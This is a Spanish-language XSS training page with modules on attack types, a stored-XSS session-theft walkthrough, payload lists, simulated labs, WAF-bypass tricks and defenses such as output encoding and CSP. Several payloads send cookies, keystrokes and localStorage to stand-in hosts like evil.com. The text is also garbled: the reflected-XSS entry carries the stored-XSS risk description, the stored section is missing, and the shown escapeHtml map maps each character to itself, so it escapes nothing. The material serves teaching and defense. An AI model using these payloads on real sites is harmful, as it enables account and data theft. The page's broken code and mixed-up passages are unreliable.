"El navegador de la víctima ejecuta código del atacante porque el servidor no distingue datos de código."
Reflected XSSStored XSSDOM-Based XSSCookie TheftCSRF via XSSWAF BypassContent Security Policy
Módulo 01
#01 ¿Qué es Cross-Site Scripting (XSS)?
📖DEFINICIÓN
Cross-Site Scripting (XSS) es una vulnerabilidad de seguridad web que permite a un atacante inyectar código JavaScript malicioso en páginas web que serán vistas por otros usuarios.
Ocurre cuando una aplicación incluye datos no confiables en una página web sin la validación o codificación adecuada. El navegador de la víctima ejecuta el script porque no puede distinguir entre el código legítimo del sitio y el código inyectado por el atacante.
XSS es consistentemente uno de los OWASP Top 10 más explotados, presente en millones de aplicaciones web y con impacto que va desde molestias menores hasta robo de sesiones, defacement y control total del cliente.
💀¿QUÉ PUEDE HACER UN ATACANTE?
Robar cookies de sesión — acceder a la cuenta de la víctima sin contraseña
Keylogging — capturar todo lo que teclea el usuario (contraseñas, datos de tarjeta)
Defacement — modificar el contenido visible de la página
Phishing en contexto — mostrar formularios falsos en el dominio legítimo
Redirecciones maliciosas — enviar a la víctima a otro sitio
Ataques CSRF via XSS — ejecutar acciones en nombre del usuario
Minería de criptomonedas — usar la CPU del navegador de la víctima
Network scanning — escanear la red interna desde el navegador
Exfiltración de datos del DOM — leer cualquier dato de la página
🔄EL PROBLEMA FUNDAMENTAL — DATOS VS CÓDIGO
Concepto clave: El problema no es que el usuario pueda escribir <script> — el problema es que el servidor lo incluye en el HTML sin escaparlo, haciendo que el navegador lo interprete como código ejecutable en lugar de texto.
Módulo 02
#02 Los Tres Tipos de XSS
↩️REFLECTED XSSTIPO 1
El payload viene en la petición HTTP y el servidor lo refleja en la respuesta. No se almacena; el atacante necesita que la víctima haga clic en un enlace malicioso.
Típico en: resultados de búsqueda, mensajes de error, parámetros GET.
Riesgo: Crítico. Ataca a TODOS los usuarios sin que tengan que hacer clic en ningún enlace.
🌐DOM-BASED XSSTIPO 3
El payload no pasa por el servidor. JavaScript del lado cliente lee datos de fuentes no confiables (URL hash, localStorage) y los escribe en el DOM de forma insegura.
Típico en: SPA frameworks, uso de innerHTML, document.write(), eval().
JS VULNERABLE
// JS en la página lee el hash SIN sanitizar
document.getElementById('msg').innerHTML = location.hash.slice(1);
Riesgo: Alto. Invisible para los WAFs que solo analizan tráfico de red.
📊TABLA COMPARATIVA DE TIPOS
Característica
Reflected
Stored
DOM-Based
¿Se almacena en servidor?
No
Sí
No
Pasa por el servidor
Sí
Sí (se guarda)
No (solo cliente)
¿Requiere que víctima haga clic?
Sí
No
Sí (URL maliciosa)
Usuarios afectados
Uno a la vez
Todos los visitantes
Uno a la vez
Detección por WAF
Moderada
Moderada
Difícil (solo cliente)
Nivel de peligro
ALTO
CRÍTICO
ALTO
Ejemplo típico
Búsqueda, error 404
Comentarios, foros
SPA, hash routing
Módulo 03
#03 Cómo Funciona: Flujo Completo de Ataque
🎯FLUJO — STORED XSS + ROBO DE SESIÓN
1
Atacante — Reconocimiento
Identifica un campo que almacena y muestra datos a otros usuarios sin sanitizar
Target: sección de comentarios en blog.empresa.com
Campo vulnerable: nombre de usuario, mensaje, valoración
▼
2
Atacante — Preparación del payload
Crea el script malicioso: roba la cookie y la exfiltra a su servidor
<script>
var img = new Image();
img.src = 'https://evil.attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
▼
3
Atacante — Inyección
Publica un comentario con el payload; el servidor lo almacena en la BD sin escapar
POST /comentarios HTTP/1.1
Body: nombre=Hacker&comentario=Gran+post!+<script>...evil...</script>
→ Servidor guarda el HTML malicioso en la base de datos
▼
4
Víctima — Visita la página
Cualquier usuario que visite el artículo recibe el HTML con el payload incluido
GET /articulo/123 HTTP/1.1
← Respuesta incluye: <div>Gran post! <script>...evil...</script></div>
▼
5
Víctima — El navegador ejecuta el script
El browser ve el <script> en el HTML y lo ejecuta como código de la página
document.cookie = "session=abc123xyz; userId=42; role=admin"
→ El script crea una imagen: GET https://evil.attacker.com/steal?cookie=session%3Dabc123xyz...
▼
6
Atacante — Sesión comprometida
Recibe la cookie en su servidor, la usa para suplantar a la víctima sin necesitar contraseña
evil.attacker.com recibe: GET /steal?cookie=session=abc123xyz&userId=42&role=admin
→ Atacante usa: Cookie: session=abc123xyz → acceso total a la cuenta de la víctima
🔍SOURCES Y SINKS — DOM XSS
En DOM XSS, el flujo va de una source (origen de datos no confiables) a un sink (punto donde se ejecuta código).
Sources (orígenes)
Sinks (destinos peligrosos)
location.href
innerHTML
location.hash
document.write()
location.search
eval()
document.referrer
setTimeout(str)
window.name
setInterval(str)
localStorage
element.src
sessionStorage
element.href
cookie
element.outerHTML
⚙️CONTEXTOS DE INYECCIÓN
El contexto donde se inyecta el payload determina qué técnica usar:
CONTEXTOS HTML
<!-- Contexto HTML directo -->
<div>PAYLOAD</div> → usar <script> o <img onerror=>
<!-- Contexto de atributo HTML -->
<input value="PAYLOAD"> → romper con " y >
<!-- Contexto JavaScript -->
<script>var x = "PAYLOAD";</script> → usar ";evil;//
<!-- Contexto URL -->
<a href="PAYLOAD"> → usar javascript:alert(1)
<!-- Contexto CSS -->
<style>body{background:PAYLOAD}</style> → usar expression()
Módulo 04
#04 Payloads XSS — Del Básico al Avanzado
🧪 Propósito educativo: Los payloads mostrados aquí son para entender cómo funcionan y cómo detectarlos. Se usan en entornos de laboratorio controlados como Juice Shop, DVWA, HackTheBox y CTFs.
🔰PAYLOADS BÁSICOS — PRUEBA DE CONCEPTO
BASIC XSS PAYLOADS
// El clásico: prueba de concepto<script>alert(1)</script>// Con mensaje personalizado<script>alert('XSS')</script>// Via evento HTML (evita <script>)<img src=x onerror="alert(1)"><img src=x onerror=alert(1)>// SVG<svg onload=alert(1)><svg><script>alert(1)</script></svg>// Body event<body onload=alert(1)>// Details/summary HTML5<details open ontoggle=alert(1)>
💣PAYLOADS MALICIOSOS — ROBO DE DATOS
DATA EXFILTRATION
// Robo de cookies de sesión<script>new Image().src='https://evil.com/?c='+btoa(document.cookie);
</script>// Keylogger básico<script>
document.onkeypress=function(e){
fetch('https://evil.com/?k='+e.key);
}
</script>// Robar todo el localStorage<script>fetch('https://evil.com/?d='+
btoa(JSON.stringify(localStorage)));
</script>// Redirigir a página de phishing<script>location.href='https://evil.com/login'</script>
🎭PAYLOADS POR CONTEXTO DE INYECCIÓN
Contexto
HTML Vulnerable
Payload efectivo
HTML directo
<div>DATO</div>
<script>alert(1)</script>
Atributo HTML
<input value="DATO">
"><script>alert(1)</script>
Atributo de evento
<img src="DATO">
x" onerror="alert(1)
Contexto JavaScript
var x = "DATO";
";alert(1);//
URL de href
<a href="DATO">
javascript:alert(1)
innerHTML
el.innerHTML = DATO
<img src=x onerror=alert(1)>
document.write()
document.write(DATO)
<script>alert(1)</script>
Módulo 05 — Caso Práctico
#05 Caso Práctico: Blog Corporativo Vulnerable
📋 Escenario: Eres un pentester contratado por TechCorp S.L. para auditar su blog corporativo. Durante el reconocimiento detectas que los comentarios no están correctamente sanitizados. El administrador del blog tiene una sesión activa con permisos de edición.
🎯OBJETIVO DEL EJERCICIO
Identificar el punto de inyección (campo de comentarios)
Confirmar la vulnerabilidad XSS con payload básico
Escalar: demostrar robo de cookie de sesión
Documentar el hallazgo para el informe
Proponer mitigaciones concretas
Entorno: Todo el laboratorio funciona 100% en el navegador. Ningún dato real sale del dispositivo.
📝INFORMACIÓN DEL SISTEMA OBJETIVO
Dato
Valor
Aplicación
TechCorp Blog v2.1
URL
techcorp.local/blog
Backend
PHP 7.4 + MySQL
Sin sanitizar
Campo comentario
Cookie sesión admin
PHPSESSID=a1b2c3d4e5f6
Hallazgo CVSS
8.8 HIGH
🌐APLICACIÓN SIMULADA — BLOG DE TECHCORP
Esta es una simulación del blog vulnerable. Prueba los payloads de los módulos siguientes directamente aquí.
🔒 techcorp.local/blog/articulo/42?q=
🚀 TechCorp Blog — Innovando el Futuro
Publicado el 15 de enero de 2025 por Admin
Bienvenidos a nuestro blog corporativo donde compartimos nuestras últimas novedades tecnológicas...
🔍 Búsqueda en el blog
💬 Comentarios
A
Ana Garcíahace 2h Muy interesante el artículo, seguimos esperando más contenido.
B
Bob Smithhace 1h Excelente trabajo del equipo. ¡Enhorabuena!
Añade tu comentario:
⚠ Observa: El campo de búsqueda (Reflected XSS) refleja el input directamente en el HTML. El campo de comentarios (Stored XSS) guarda el HTML sin escapar y lo renderiza para todos los usuarios. Los labs siguientes explican cómo explotar y defender cada tipo.
Módulo 06 — Laboratorio
#06 Lab: Reflected XSS
⚡ LABORATORIO REFLECTED XSS VULNERABLE
Simula cómo un servidor vulnerable refleja el input del usuario directamente en el HTML sin escapar. Observa cómo el payload se convierte en código ejecutable.
// Resultado aparecerá aquí
🔗 GENERADOR DE URL MALICIOSA PHISHING
Así es como un atacante distribuye un Reflected XSS: construye una URL con el payload codificado y la envía a la víctima por email o redes sociales.
// URL maliciosa generada
Módulo 07 — Laboratorio
#07 Lab: Stored XSS
💾 LABORATORIO STORED XSS VULNERABLE
Simula un sistema de comentarios que guarda y renderiza HTML sin sanitizar. Cada comentario publicado es visible para todos los visitantes de la página.
techcorp.local/blog/articulo/42
💬 Comentarios (renderizado vulnerable):
HTML guardado en BD:
// HTML almacenado
Módulo 08 — Laboratorio
#08 Lab: DOM-Based XSS
🌐 LAB DOM XSS — innerHTML VULNERABLE
El JavaScript de la página lee el hash de la URL y lo escribe en el DOM con innerHTML sin sanitizar — el servidor nunca ve el payload.
JS VULNERABLE EN LA PÁGINA
// ❌ VULNERABLE — lee hash y lo escribe con innerHTMLvar msg = location.hash.slice(1); // sin decodificar ni sanitizar
document.getElementById('welcome').innerHTML = msg;
Output del DOM:
Vacío
// Explicación
🔬 ANALIZADOR DE CÓDIGO DOM XSS DETECTOR
Pega código JavaScript y detecta patrones de sources y sinks peligrosos que podrían dar lugar a DOM XSS.
// Análisis aparecerá aquí
Módulo 09
#09 Técnicas de Bypass de Filtros y WAF
⚡ Objetivo del módulo: Entender cómo los atacantes evaden filtros básicos, para implementar defensas robustas. Conocer el bypass es esencial para diseñar filtros que no puedan ser eludidos fácilmente.
// Romper palabras con comentarios HTML<scr<!--x-->ipt>alert(1)</scr<!--x-->ipt>// Null bytes (en algunos parsers)<scr ipt>alert(1)</scr ipt>// Sin paréntesis (template literals)<script>alert`1`</script>// Sin comillas — javascript: en href<a href=javascript:alert(1)>XSS</a>// Data URI con Base64<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">// XSS via CSS (IE legacy)<style>body{background-image:url(javascript:alert(1))}</style>// Prototype pollution leading to XSS?__proto__[innerHTML]=<img/src/onerror=alert(1)>
🛡️ SIMULADOR DE FILTRO WAF INTERACTIVO
Configura un filtro básico y prueba si tu payload lo bypassea. Esto simula cómo los filtros naïve fallan y por qué la whitelist es mejor que la blacklist.
// Resultado del test
Módulo 10
#10 Cómo Prevenir XSS — Defensa en Profundidad
✅ Principio fundamental: La única defensa real contra XSS es el Output Encoding — escapar correctamente los datos antes de incluirlos en el HTML, según el contexto donde van a aparecer.
// ❌ VULNERABLE
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// ✅ SEGURO — usa textContent o innerText
element.textContent = userInput;
// ✅ SEGURO — con DOMPurify (librería)import DOMPurify from'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// ✅ Función de escape manualfunctionescapeHtml(text) {
const map = {'&':'&','<':'<','>':'>','"':'"',"'":'''};
return text.replace(/[&<>"']/g, m => map[m]);
}
2️⃣CONTENT SECURITY POLICY (CSP)
CSP es una cabecera HTTP que indica al navegador qué scripts puede ejecutar. Incluso si hay XSS, CSP puede impedir la ejecución del payload.
CSP HEADERS
# Cabecera HTTP básica (bloquea inline scripts)
Content-Security-Policy: default-src 'self'# Solo scripts del mismo dominio
Content-Security-Policy: script-src 'self'# Con nonce (para scripts inline necesarios)
Content-Security-Policy: script-src 'nonce-xyz123'# En PHP
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-".$nonce."'");
# En HTML con nonce
<script nonce="xyz123">/* este script SÍ ejecuta */</script>
<script>alert(1)</script> /* bloqueado por CSP */# Modo report-only (para testing sin bloquear)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Practica la función de escape que deberías usar en tus aplicaciones. Introduce cualquier texto (incluyendo payloads XSS) y observa cómo queda tras el encoding correcto.
// Resultado del encoding
Módulo 11 — Evaluación
#11 Quiz de Conocimiento — XSS
📝 Instrucciones: 12 preguntas para evaluar tu comprensión completa de XSS. Una sola respuesta correcta por pregunta.
Muy interesante el artículo, seguimos esperando más contenido.
Excelente trabajo del equipo. ¡Enhorabuena!